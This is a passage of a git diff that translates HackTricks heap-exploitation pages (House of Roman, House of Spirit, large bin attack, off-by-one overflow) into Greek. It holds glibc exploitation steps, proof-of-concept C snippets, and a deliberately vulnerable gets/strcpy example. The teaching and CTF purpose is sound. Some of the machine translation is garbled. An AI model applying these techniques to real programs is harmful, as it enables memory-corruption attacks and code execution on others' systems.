fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) - 0x170: leftover_main - size 0x20 - 0x190: relative_offset_heap - size 0x70 +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 - bin layout: - fastbin: fastbin_victim -> relative_offset_heap - unsorted: leftover_main +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main */ ``` +- `fastbin_victim` έχει ένα `fd` που δείχνει στο `relative_offset_heap` +- `relative_offset_heap` είναι μια απόσταση από το `fake_libc_chunk`, το οποίο περιέχει έναν δείκτη προς `main_arena + 0x68` +- Αλλάζοντας απλώς το τελευταίο byte του `fastbin_victim.fd`, είναι δυνατόν να κάνουμε το `fastbin_victim points` να δείχνει στο `main_arena + 0x68` -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` -- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68` +Για τις προηγούμενες ενέργειες, ο επιτιθέμενος πρέπει να είναι ικανός να τροποποιήσει τον δείκτη fd του `fastbin_victim`. -For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. +Στη συνέχεια, το `main_arena + 0x68` δεν είναι τόσο ενδιαφέρον, οπότε ας το τροποποιήσουμε ώστε ο δείκτης να δείχνει στο **`__malloc_hook`**. -Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. +Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατόν να το πλαστογραφήσουμε ως μια τιμή στο γρήγορο bin `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει να δείχνει εκεί που μας ενδιαφέρει. Έτσι, εκτελείται μια επίθεση BF εδώ ώστε το chunk να καταλήξει ως: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** -Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** - -(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works). - -Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`** +(Για περισσότερες πληροφορίες σχετικά με τα υπόλοιπα bytes, ελέγξτε την εξήγηση στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Αν η BF δεν λειτουργήσει, το πρόγραμμα απλώς θα καταρρεύσει (οπότε ξεκινήστε ξανά μέχρι να λειτουργήσει). +Στη συνέχεια, εκτελούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και ένας τρίτος εκχωρείται για να αποκτήσει ένα chunk στο **`__malloc_hook:`** ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` +### Μέρος 2: Επίθεση Unsorted_bin -### Part 2: Unsorted_bin attack - -For more info you can check: +Για περισσότερες πληροφορίες μπορείτε να ελέγξετε: {{#ref}} unsorted-bin-attack.md {{#endref}} -But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. - -For this we start getting a chunk and putting it into the **unsorted bin**: +Αλλά βασικά επιτρέπει να γράψουμε `main_arena + 0x68` σε οποιαδήποτε τοποθεσία καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε `__malloc_hook`. Στη συνέχεια, αφού το παρακάμψουμε, θα χρησιμοποιήσουμε μια σχετική παρακάμψη για να δείξουμε σε ένα `one_gadget`. +Για αυτό ξεκινάμε να αποκτούμε ένα chunk και να το βάζουμε στο **unsorted bin**: ```c uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate @@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` - -Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously). +Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε το `unsorted_bin_ptr->bk` στη διεύθυνση του `__malloc_hook` (το έχουμε brute forced προηγουμένως). > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** +> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το small και το large). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε allocations από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες allocations και να καταρρεύσει), και για να το ενεργοποιήσουμε πρέπει **να κάνουμε alloc το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.** -So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** +Έτσι, για να ενεργοποιήσουμε την εγγραφή του `main_arena + 0x68` στο `__malloc_hook`, εκτελούμε μετά την ρύθμιση του `__malloc_hook` στο `unsorted_bin_ptr->bk` απλά χρειάζεται να κάνουμε: **`malloc(0x80)`** -### Step 3: Set \_\_malloc_hook to system +### Βήμα 3: Ρύθμιση του \_\_malloc_hook σε system -In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. +Στο πρώτο βήμα ελέγχαμε ένα κομμάτι που περιέχει το `__malloc_hook` (στη μεταβλητή `malloc_hook_chunk`) και στο δεύτερο βήμα καταφέραμε να γράψουμε το `main_arena + 0x68` εδώ. -Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. +Τώρα, εκμεταλλευόμαστε μια μερική υπεργραφή στο `malloc_hook_chunk` για να χρησιμοποιήσουμε τη διεύθυνση libc που γράψαμε εκεί (`main_arena + 0x68`) για να **δείξουμε σε μια διεύθυνση `one_gadget`**. -Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +Εδώ είναι που χρειάζεται να **bruteforce 12 bits τυχαίας τιμής** (περισσότερες πληροφορίες στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). -Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. +Τέλος, μόλις η σωστή διεύθυνση υπεργραφεί, **καλέστε το `malloc` και ενεργοποιήστε το `one_gadget`**. -## References +## Αναφορές - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 1ce36fd14..29bcefc92 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -9,7 +9,6 @@
House of Spirit - ```c #include #include @@ -19,99 +18,96 @@ // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { - size_t prev_size; - size_t size; - struct fast_chunk *fd; - struct fast_chunk *bk; - char buf[0x20]; // chunk falls in fastbin size range +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range }; int main() { - struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory - void *ptr, *victim; +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; - ptr = malloc(0x30); +ptr = malloc(0x30); - printf("Original alloc address: %p\n", ptr); - printf("Main fake chunk:%p\n", &fake_chunks[0]); - printf("Second fake chunk for size: %p\n", &fake_chunks[1]); +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); - // Passes size check of "free(): invalid size" - fake_chunks[0].size = sizeof(struct fast_chunk); +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); - // Passes "free(): invalid next size (fast)" - fake_chunks[1].size = sizeof(struct fast_chunk); +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); - // Attacker overwrites a pointer that is about to be 'freed' - // Point to .fd as it's the start of the content of the chunk - ptr = (void *)&fake_chunks[0].fd; +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; - free(ptr); +free(ptr); - victim = malloc(0x30); - printf("Victim: %p\n", victim); +victim = malloc(0x30); +printf("Victim: %p\n", victim); - return 0; +return 0; } ``` -
-### Goal +### Στόχος -- Be able to add into the tcache / fast bin an address so later it's possible to allocate it +- Να είναι δυνατή η προσθήκη μιας διεύθυνσης στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή της. -### Requirements +### Απαιτήσεις -- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. +- Αυτή η επίθεση απαιτεί από τον επιτιθέμενο να είναι σε θέση να δημιουργήσει μερικά ψεύτικα fast chunks που να υποδεικνύουν σωστά την τιμή μεγέθους τους και στη συνέχεια να είναι σε θέση να απελευθερώσει το πρώτο ψεύτικο chunk ώστε να εισέλθει στο bin. -### Attack +### Επίθεση -- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes -- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - -**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: +- Δημιουργήστε ψεύτικα chunks που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα chunks που να υποδεικνύουν στις σωστές θέσεις τα σωστά μεγέθη. +- Κά somehow manage να απελευθερώσετε το πρώτο ψεύτικο chunk ώστε να εισέλθει στο fast ή tcache bin και στη συνέχεια να εκχωρηθεί για να αντικαταστήσει αυτή τη διεύθυνση. +**Ο κώδικας από** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **είναι εξαιρετικός για να κατανοήσετε την επίθεση.** Αν και αυτό το σχήμα από τον κώδικα το συνοψίζει αρκετά καλά: ```c /* - this will be the structure of our two fake chunks: - assuming that you compiled it for x64 +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 - +-------+---------------------+------+ - | 0x00: | Chunk # 0 prev size | 0x00 | - +-------+---------------------+------+ - | 0x08: | Chunk # 0 size | 0x60 | - +-------+---------------------+------+ - | 0x10: | Chunk # 0 content | 0x00 | - +-------+---------------------+------+ - | 0x60: | Chunk # 1 prev size | 0x00 | - +-------+---------------------+------+ - | 0x68: | Chunk # 1 size | 0x40 | - +-------+---------------------+------+ - | 0x70: | Chunk # 1 content | 0x00 | - +-------+---------------------+------+ ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ - for what we are doing the prev size values don't matter too much - the important thing is the size values of the heap headers for our fake chunks +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks */ ``` - > [!NOTE] -> Note that it's necessary to create the second chunk in order to bypass some sanity checks. +> Σημειώστε ότι είναι απαραίτητο να δημιουργηθεί το δεύτερο κομμάτι για να παρακαμφθούν ορισμένοι έλεγχοι εγκυρότητας. -## Examples +## Παραδείγματα - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. +- **Libc infoleak**: Μέσω μιας υπερχείλισης είναι δυνατόν να αλλάξει ένας δείκτης ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση libc μέσω της ενέργειας ανάγνωσης του CTF +- **House of Spirit**: Εκμεταλλευόμενοι έναν μετρητή που μετρά τον αριθμό των "τουφεκιών", είναι δυνατόν να παραχθεί ένα ψεύτικο μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενοι ένα "μήνυμα" είναι δυνατόν να παραποιηθεί το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενοι μια υπερχείλιση είναι δυνατόν να αλλάξει ένας δείκτης που πρόκειται να απελευθερωθεί ώστε το πρώτο ψεύτικο κομμάτι να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατόν να κάνουμε αυτό να δείχνει στην είσοδο `scanf` μέσα στον πίνακα GOT, ώστε να μπορούμε να το αντικαταστήσουμε με τη διεύθυνση του system.\ +Την επόμενη φορά που θα κληθεί το `scanf`, μπορούμε να στείλουμε την είσοδο `"/bin/sh"` και να αποκτήσουμε ένα shell. - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. +- **Glibc leak**: Μη αρχικοποιημένος buffer στο stack. +- **House of Spirit**: Μπορούμε να τροποποιήσουμε τον πρώτο δείκτη ενός παγκόσμιου πίνακα δεικτών heap. Με μια μόνο τροποποίηση byte, χρησιμοποιούμε `free` σε ένα ψεύτικο κομμάτι μέσα σε ένα έγκυρο κομμάτι, έτσι ώστε να προκύψει μια κατάσταση επικαλυπτόμενων κομματιών μετά την εκ νέου εκχώρηση. Με αυτό, μια απλή επίθεση δηλητηρίασης Tcache λειτουργεί για να αποκτήσουμε μια αυθαίρετη γραφή. -## References +## Αναφορές - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index fb8a721c9..5eba6c913 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -4,55 +4,53 @@ ## Basic Information -For more information about what is a large bin check this page: +Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα large bin, ελέγξτε αυτή τη σελίδα: {{#ref}} bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +Είναι δυνατόν να βρείτε ένα εξαιρετικό παράδειγμα στο [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). -Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. +Βασικά, εδώ μπορείτε να δείτε πώς, στην τελευταία "τρέχουσα" έκδοση του glibc (2.35), δεν ελέγχεται: **`P->bk_nextsize`** επιτρέποντας την τροποποίηση μιας αυθαίρετης διεύθυνσης με την τιμή ενός large bin chunk αν πληρούνται ορισμένες προϋποθέσεις. -In that example you can find the following conditions: +Σε αυτό το παράδειγμα μπορείτε να βρείτε τις εξής προϋποθέσεις: -- A large chunk is allocated -- A large chunk smaller than the first one but in the same index is allocated - - Must be smalled so in the bin it must go first -- (A chunk to prevent merging with the top chunk is created) -- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin -- Then, the second large chunk is freed -- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` -- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 +- Ένα μεγάλο chunk έχει κατανεμηθεί +- Ένα μεγάλο chunk μικρότερο από το πρώτο αλλά στην ίδια θέση έχει κατανεμηθεί +- Πρέπει να είναι μικρότερο ώστε να πάει πρώτο στο bin +- (Ένα chunk για να αποτραπεί η συγχώνευση με το top chunk έχει δημιουργηθεί) +- Στη συνέχεια, το πρώτο μεγάλο chunk απελευθερώνεται και ένα νέο chunk μεγαλύτερο από αυτό κατανεμηθεί -> Chunk1 πηγαίνει στο large bin +- Στη συνέχεια, το δεύτερο μεγάλο chunk απελευθερώνεται +- Τώρα, η ευπάθεια: Ο επιτιθέμενος μπορεί να τροποποιήσει `chunk1->bk_nextsize` σε `[target-0x20]` +- Στη συνέχεια, ένα μεγαλύτερο chunk από το chunk 2 κατανεμηθεί, έτσι το chunk2 εισάγεται στο large bin αντικαθιστώντας τη διεύθυνση `chunk1->bk_nextsize->fd_nextsize` με τη διεύθυνση του chunk2 > [!TIP] -> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. - -This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten: +> Υπάρχουν άλλα πιθανά σενάρια, το θέμα είναι να προσθέσουμε στο large bin ένα chunk που είναι **μικρότερο** από ένα τρέχον X chunk στο bin, έτσι πρέπει να εισαχθεί ακριβώς πριν από αυτό στο bin, και πρέπει να μπορούμε να τροποποιήσουμε το **`bk_nextsize`** του X καθώς εκεί θα γραφτεί η διεύθυνση του μικρότερου chunk. +Αυτός είναι ο σχετικός κώδικας από το malloc. Έχουν προστεθεί σχόλια για να κατανοήσουμε καλύτερα πώς η διεύθυνση αντικαταστάθηκε: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; // fwd = p1 - bck = bck->bk; // bck = p1->bk +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk - victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) - victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 - } +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} ``` +Αυτό θα μπορούσε να χρησιμοποιηθεί για να **επικαλύψει τη μεταβλητή `global_max_fast` της libc** για να εκμεταλλευτεί μια επίθεση fast bin με μεγαλύτερα κομμάτια. -This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. +Μπορείτε να βρείτε μια άλλη εξαιρετική εξήγηση αυτής της επίθεσης στο [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). - -### Other examples +### Άλλα παραδείγματα - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - - The write primitive is more complex, because `global_max_fast` is useless here. - - FSOP is needed to finish the exploit. +- Επίθεση large bin στην ίδια κατάσταση όπως εμφανίζεται στο [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +- Η primitive εγγραφής είναι πιο περίπλοκη, επειδή το `global_max_fast` είναι άχρηστο εδώ. +- Χρειάζεται FSOP για να ολοκληρωθεί η εκμετάλλευση. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index 000044db5..6930243e2 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -4,112 +4,110 @@ ## Basic Information -Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. +Η πρόσβαση σε μια υπερχείλιση 1B επιτρέπει σε έναν επιτιθέμενο να τροποποιήσει το πεδίο `size` από το επόμενο κομμάτι. Αυτό επιτρέπει την παρέμβαση στο ποια κομμάτια είναι πραγματικά ελεύθερα, ενδεχομένως δημιουργώντας ένα κομμάτι που περιέχει ένα άλλο έγκυρο κομμάτι. Η εκμετάλλευση είναι παρόμοια με το [double free](double-free.md) ή τα επικαλυπτόμενα κομμάτια. -There are 2 types of off by one vulnerabilities: +Υπάρχουν 2 τύποι ευπαθειών off by one: -- Arbitrary byte: This kind allows to overwrite that byte with any value -- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - - This can be expoited with the [House of Einherjar](house-of-einherjar.md). - - If using Tcache, this can be leveraged to a [double free](double-free.md) situation. +- Arbitrary byte: Αυτός ο τύπος επιτρέπει την επαναγραφή αυτού του byte με οποιαδήποτε τιμή +- Null byte (off-by-null): Αυτός ο τύπος επιτρέπει την επαναγραφή αυτού του byte μόνο με 0x00 +- Ένα κοινό παράδειγμα αυτής της ευπάθειας μπορεί να παρατηρηθεί στον παρακάτω κώδικα όπου η συμπεριφορά των `strlen` και `strcpy` είναι ασυνεπής, γεγονός που επιτρέπει την τοποθέτηση ενός byte 0x00 στην αρχή του επόμενου κομματιού. +- Αυτό μπορεί να εκμεταλλευτεί με το [House of Einherjar](house-of-einherjar.md). +- Εάν χρησιμοποιείται Tcache, αυτό μπορεί να αξιοποιηθεί σε μια κατάσταση [double free](double-free.md).
Off-by-null - ```c // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ int main(void) { - char buffer[40]=""; - void *chunk1; - chunk1 = malloc(24); - puts("Get Input"); - gets(buffer); - if(strlen(buffer)==24) - { - strcpy(chunk1,buffer); - } - return 0; +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; } ``` -
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. +Μεταξύ άλλων ελέγχων, τώρα κάθε φορά που ένα κομμάτι είναι ελεύθερο, το προηγούμενο μέγεθος συγκρίνεται με το μέγεθος που έχει ρυθμιστεί στο κομμάτι των μεταδεδομένων, καθιστώντας αυτή την επίθεση αρκετά περίπλοκη από την έκδοση 2.28. -### Code example: +### Παράδειγμα κώδικα: - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) -- This attack is no longer working due to the use of Tcaches. - - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` +- Αυτή η επίθεση δεν λειτουργεί πλέον λόγω της χρήσης Tcaches. +- Επιπλέον, αν προσπαθήσετε να την εκμεταλλευτείτε χρησιμοποιώντας μεγαλύτερα κομμάτια (έτσι ώστε να μην εμπλέκονται τα tcaches), θα λάβετε το σφάλμα: `malloc(): invalid next size (unsorted)` -### Goal +### Στόχος -- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one +- Να περιέχεται ένα κομμάτι μέσα σε ένα άλλο κομμάτι, έτσι ώστε η πρόσβαση εγγραφής σε αυτό το δεύτερο κομμάτι να επιτρέπει την αντικατάσταση του περιεχόμενου. -### Requirements +### Απαιτήσεις -- Off by one overflow to modify the size metadata information +- Off by one overflow για να τροποποιηθεί η πληροφορία μεγέθους των μεταδεδομένων. -### General off-by-one attack +### Γενική επίθεση off-by-one -- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. -- Free `C` (inserted into 0x20 Tcache free-list). -- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. -- Now we have `B` containing the free chunk `C` -- Free `B` and allocate a 0x40 chunk (it will be placed here again) -- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) +- Δεσμεύστε τρία κομμάτια `A`, `B` και `C` (ας πούμε μεγέθη 0x20), και ένα άλλο για να αποτραπεί η συγχώνευση με το top-chunk. +- Ελευθερώστε το `C` (εισαγμένο στη λίστα ελεύθερων κομματιών 0x20 Tcache). +- Χρησιμοποιήστε το κομμάτι `A` για να υπερχειλίσετε το `B`. Εκμεταλλευτείτε το off-by-one για να τροποποιήσετε το πεδίο `size` του `B` από 0x21 σε 0x41. +- Τώρα έχουμε το `B` να περιέχει το ελεύθερο κομμάτι `C`. +- Ελευθερώστε το `B` και δεσμεύστε ένα κομμάτι 0x40 (θα τοποθετηθεί ξανά εδώ). +- Μπορούμε να τροποποιήσουμε τον δείκτη `fd` από το `C`, το οποίο είναι ακόμα ελεύθερο (Tcache poisoning). -### Off-by-null attack +### Επίθεση off-by-null -- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). -- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. -- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. -- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. +- 3 κομμάτια μνήμης (a, b, c) δεσμεύονται το ένα μετά το άλλο. Στη συνέχεια, το μεσαίο ελευθερώνεται. Το πρώτο περιέχει μια ευπάθεια off by one overflow και ο επιτιθέμενος την εκμεταλλεύεται με ένα 0x00 (αν το προηγούμενο byte ήταν 0x10 θα έκανε το μεσαίο κομμάτι να υποδεικνύει ότι είναι 0x10 μικρότερο από ό,τι πραγματικά είναι). +- Στη συνέχεια, 2 ακόμη μικρότερα κομμάτια δεσμεύονται στο μεσαίο ελεύθερο κομμάτι (b), ωστόσο, καθώς το `b + b->size` δεν ενημερώνει ποτέ το κομμάτι c επειδή η διεύθυνση που δείχνει είναι μικρότερη από ό,τι θα έπρεπε. +- Στη συνέχεια, τα b1 και c ελευθερώνονται. Καθώς το `c - c->prev_size` δείχνει ακόμα στο b (τώρα b1), και τα δύο συγχωνεύονται σε ένα κομμάτι. Ωστόσο, το b2 είναι ακόμα μέσα ανάμεσα στο b1 και το c. +- Τέλος, εκτελείται μια νέα malloc που ανακτά αυτή την περιοχή μνήμης, η οποία στην πραγματικότητα θα περιέχει το b2, επιτρέποντας στον κάτοχο της νέας malloc να ελέγξει το περιεχόμενο του b2. -This image explains perfectly the 